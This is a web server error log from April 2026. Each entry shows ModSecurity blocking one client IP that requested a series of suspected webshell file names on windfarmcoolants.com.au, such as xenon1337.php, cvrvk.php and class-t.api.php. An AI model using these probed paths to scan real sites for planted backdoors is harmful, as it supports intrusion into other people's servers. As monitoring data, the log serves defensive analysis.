[Mon Apr 27 02:06:51.434751 2026] [:error] [pid 22573:tid 22615] [client 74.248.148.150:27986] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file88.php"] [unique_id "ae5UO3B3EmQlD4yKUt89WwAAAYg"]
[Mon Apr 27 02:06:52.308126 2026] [:error] [pid 22573:tid 22627] [client 74.248.148.150:45317] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file88.php"] [unique_id "ae5UPHB3EmQlD4yKUt89XAAAAZQ"]
[Mon Apr 27 02:06:53.143903 2026] [:error] [pid 22573:tid 22631] [client 74.248.148.150:45353] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file88.php"] [unique_id "ae5UPXB3EmQlD4yKUt89XwAAAZg"]
[Mon Apr 27 02:06:54.738086 2026] [:error] [pid 22572:tid 22582] [client 74.248.148.150:3601] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xenon1337.php"] [unique_id "ae5UPtXOViWCFU-pZzBgKAAAAUQ"]
[Mon Apr 27 02:06:55.446615 2026] [:error] [pid 16515:tid 16529] [client 74.248.148.150:60126] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xenon1337.php"] [unique_id "ae5UP1tDrUmgHSvpuLxrzgAAAks"]
[Mon Apr 27 02:06:56.702379 2026] [:error] [pid 8491:tid 8501] [client 74.248.148.150:52443] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xenon1337.php"] [unique_id "ae5UQCq7I7e6CJooQM07FwAAAMI"]
[Mon Apr 27 02:06:59.445076 2026] [:error] [pid 22573:tid 22610] [client 74.248.148.150:52463] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xenon1337.php"] [unique_id "ae5UQ3B3EmQlD4yKUt89aAAAAYQ"]
[Mon Apr 27 02:07:00.733466 2026] [:error] [pid 13137:tid 13154] [client 74.248.148.150:46811] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1index.php"] [unique_id "ae5URN0RB4J0o4h5neHMqgAAAg0"]
[Mon Apr 27 02:07:01.512923 2026] [:error] [pid 16515:tid 16520] [client 74.248.148.150:46790] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1index.php"] [unique_id "ae5URVtDrUmgHSvpuLxr0AAAAkI"]
[Mon Apr 27 02:07:02.612452 2026] [:error] [pid 8491:tid 8511] [client 74.248.148.150:3620] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1index.php"] [unique_id "ae5URiq7I7e6CJooQM07JwAAAMw"]
[Mon Apr 27 02:07:03.449076 2026] [:error] [pid 8383:tid 8415] [client 74.248.148.150:28612] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1index.php"] [unique_id "ae5UR9Fa2S3EsATMdWO2UgAAABI"]
[Mon Apr 27 02:07:04.113192 2026] [:error] [pid 8491:tid 8520] [client 74.248.148.150:60116] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "ae5USCq7I7e6CJooQM07KQAAANU"]
[Mon Apr 27 02:07:04.638958 2026] [:error] [pid 8491:tid 8508] [client 74.248.148.150:27987] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "ae5USCq7I7e6CJooQM07KwAAAMk"]
[Mon Apr 27 02:07:05.220877 2026] [:error] [pid 8491:tid 8514] [client 74.248.148.150:3627] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "ae5USSq7I7e6CJooQM07LQAAAM8"]
[Mon Apr 27 02:07:05.908252 2026] [:error] [pid 16515:tid 16522] [client 74.248.148.150:27988] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "ae5USVtDrUmgHSvpuLxr1AAAAkQ"]
[Mon Apr 27 02:07:06.562416 2026] [:error] [pid 16515:tid 16532] [client 74.248.148.150:26220] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "ae5USltDrUmgHSvpuLxr1gAAAk4"]
[Mon Apr 27 02:07:07.432325 2026] [:error] [pid 8390:tid 8460] [client 74.248.148.150:3083] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "ae5US4GPtFK_i9p5yxTHpwAAAIk"]
[Mon Apr 27 02:07:08.175383 2026] [:error] [pid 8383:tid 8399] [client 74.248.148.150:25424] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "ae5UTNFa2S3EsATMdWO2WQAAAAI"]
[Mon Apr 27 02:07:09.033182 2026] [:error] [pid 8383:tid 8414] [client 74.248.148.150:3096] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "ae5UTdFa2S3EsATMdWO2XAAAABE"]
[Mon Apr 27 02:07:10.021113 2026] [:error] [pid 13137:tid 13156] [client 74.248.148.150:65410] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cache.php"] [unique_id "ae5UTt0RB4J0o4h5neHMtgAAAg8"]
[Mon Apr 27 02:07:11.098867 2026] [:error] [pid 13137:tid 13165] [client 74.248.148.150:56241] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cache.php"] [unique_id "ae5UT90RB4J0o4h5neHMuQAAAhg"]
[Mon Apr 27 02:07:11.797607 2026] [:error] [pid 13137:tid 13141] [client 74.248.148.150:28022] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cache.php"] [unique_id "ae5UT90RB4J0o4h5neHMuwAAAgE"]
[Mon Apr 27 02:07:12.643657 2026] [:error] [pid 8390:tid 8474] [client 74.248.148.150:3610] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cache.php"] [unique_id "ae5UUIGPtFK_i9p5yxTHrAAAAJc"]
[Mon Apr 27 02:07:13.427757 2026] [:error] [pid 13197:tid 13256] [client 74.248.148.150:45322] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error.php"] [unique_id "ae5UUd3kktFKdSxTrBv1pAAAAtg"]
[Mon Apr 27 02:07:14.146108 2026] [:error] [pid 8383:tid 8408] [client 74.248.148.150:60805] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error.php"] [unique_id "ae5UUtFa2S3EsATMdWO2YAAAAAs"]
[Mon Apr 27 02:07:14.735269 2026] [:error] [pid 8383:tid 8414] [client 74.248.148.150:28008] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error.php"] [unique_id "ae5UUtFa2S3EsATMdWO2YwAAABE"]
[Mon Apr 27 02:07:15.421886 2026] [:error] [pid 8390:tid 8453] [client 74.248.148.150:45371] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/error.php"] [unique_id "ae5UU4GPtFK_i9p5yxTHrQAAAII"]
[Mon Apr 27 02:07:16.027626 2026] [:error] [pid 22572:tid 22584] [client 74.248.148.150:45320] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file32.php"] [unique_id "ae5UVNXOViWCFU-pZzBgdgAAAUY"]
[Mon Apr 27 02:07:16.829859 2026] [:error] [pid 13137:tid 13161] [client 74.248.148.150:52475] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file32.php"] [unique_id "ae5UVN0RB4J0o4h5neHMwAAAAhQ"]
[Mon Apr 27 02:07:17.680661 2026] [:error] [pid 8385:tid 8435] [client 74.248.148.150:25464] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file32.php"] [unique_id "ae5UVTOy7_J84Wx3-oz3LgAAAEs"]
[Mon Apr 27 02:07:18.315104 2026] [:error] [pid 8491:tid 8503] [client 74.248.148.150:52443] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file32.php"] [unique_id "ae5UViq7I7e6CJooQM07MAAAAMQ"]
[Mon Apr 27 02:07:18.932313 2026] [:error] [pid 16515:tid 16528] [client 74.248.148.150:27968] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cvrvk.php"] [unique_id "ae5UVltDrUmgHSvpuLxr2wAAAko"]
[Mon Apr 27 02:07:19.496626 2026] [:error] [pid 8390:tid 8473] [client 74.248.148.150:65413] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cvrvk.php"] [unique_id "ae5UV4GPtFK_i9p5yxTHrwAAAJY"]
[Mon Apr 27 02:07:20.084568 2026] [:error] [pid 13197:tid 13240] [client 74.248.148.150:56241] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cvrvk.php"] [unique_id "ae5UWN3kktFKdSxTrBv1pwAAAsk"]
[Mon Apr 27 02:07:20.750312 2026] [:error] [pid 8385:tid 8445] [client 74.248.148.150:3629] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cvrvk.php"] [unique_id "ae5UWDOy7_J84Wx3-oz3LwAAAFU"]
[Mon Apr 27 02:07:21.339868 2026] [:error] [pid 13197:tid 13246] [client 74.248.148.150:45347] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp.php"] [unique_id "ae5UWd3kktFKdSxTrBv1qQAAAs4"]
[Mon Apr 27 02:07:21.893833 2026] [:error] [pid 13137:tid 13160] [client 74.248.148.150:26219] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp.php"] [unique_id "ae5UWd0RB4J0o4h5neHMywAAAhM"]
[Mon Apr 27 02:07:22.922387 2026] [:error] [pid 8385:tid 8442] [client 74.248.148.150:26224] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp.php"] [unique_id "ae5UWjOy7_J84Wx3-oz3MAAAAFI"]
[Mon Apr 27 02:07:23.749029 2026] [:error] [pid 13137:tid 13155] [client 74.248.148.150:52437] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp.php"] [unique_id "ae5UW90RB4J0o4h5neHM0AAAAg4"]
[Mon Apr 27 02:07:24.381933 2026] [:error] [pid 8390:tid 8458] [client 74.248.148.150:29261] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-t.api.php"] [unique_id "ae5UXIGPtFK_i9p5yxTHswAAAIc"]
[Mon Apr 27 02:07:25.021261 2026] [:error] [pid 22573:tid 22608] [client 74.248.148.150:45344] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-t.api.php"] [unique_id "ae5UXXB3EmQlD4yKUt89cAAAAYI"]
[Mon Apr 27 02:07:25.720132 2026] [:error] [pid 8385:tid 8446] [client 74.248.148.150:3631] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-t.api.php"] [unique_id "ae5UXTOy7_J84Wx3-oz3NgAAAFY"]
[Mon Apr 27 02:07:26.326899 2026] [:error] [pid 16515:tid 16535] [client 74.248.148.150:29248] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-t.api.php"] [unique_id "ae5UXltDrUmgHSvpuLxr6gAAAlE"]
[Mon Apr 27 02:07:27.061630 2026] [:error] [pid 8491:tid 8499] [client 74.248.148.150:60158] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hello.php"] [unique_id "ae5UXyq7I7e6CJooQM07MwAAAMA"]
[Mon Apr 27 02:07:27.775484 2026] [:error] [pid 16574:tid 16605] [client 74.248.148.150:49341] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hello.php"] [unique_id "ae5UX35MsX8wRQr99nZQ5gAAA0E"]
[Mon Apr 27 02:07:28.367412 2026] [:error] [pid 13137:tid 13143] [client 74.248.148.150:60827] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hello.php"] [unique_id "ae5UYN0RB4J0o4h5neHM0wAAAgM"]
[Mon Apr 27 02:07:29.111624 2026] [:error] [pid 8383:tid 8415] [client 74.248.148.150:28031] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hello.php"] [unique_id "ae5UYdFa2S3EsATMdWO2bAAAABI"]
[Mon Apr 27 02:07:29.797054 2026] [:error] [pid 8383:tid 8398] [client 74.248.148.150:60157] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "ae5UYdFa2S3EsATMdWO2cgAAAAE"]
[Mon Apr 27 02:07:30.355668 2026] [:error] [pid 8491:tid 8518] [client 74.248.148.150:65439] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "ae5UYiq7I7e6CJooQM07SwAAANM"]
[Mon Apr 27 02:07:31.143300 2026] [:error] [pid 13137:tid 13141] [client 74.248.148.150:45373] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "ae5UY90RB4J0o4h5neHM2gAAAgE"]
[Mon Apr 27 02:07:31.774260 2026] [:error] [pid 13137:tid 13147] [client 74.248.148.150:45326] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "ae5UY90RB4J0o4h5neHM3AAAAgc"]
[Mon Apr 27 02:07:32.314676 2026] [:error] [pid 13137:tid 13163] [client 74.248.148.150:26227] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lti.php"] [unique_id "ae5UZN0RB4J0o4h5neHM3wAAAhY"]
[Mon Apr 27 02:07:33.028512 2026] [:error] [pid 13137:tid 13162] [client 74.248.148.150:60103] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lti.php"] [unique_id "ae5UZd0RB4J0o4h5neHM4gAAAhU"]
[Mon Apr 27 02:07:33.576650 2026] [:error] [pid 22572:tid 22589] [client 74.248.148.150:39959] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lti.php"] [unique_id "ae5UZdXOViWCFU-pZzBgeQAAAUs"]
[Mon Apr 27 02:07:34.746310 2026] [:error] [pid 13137:tid 13156] [client 74.248.148.150:49307] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lti.php"] [unique_id "ae5UZt0RB4J0o4h5neHM6AAAAg8"]
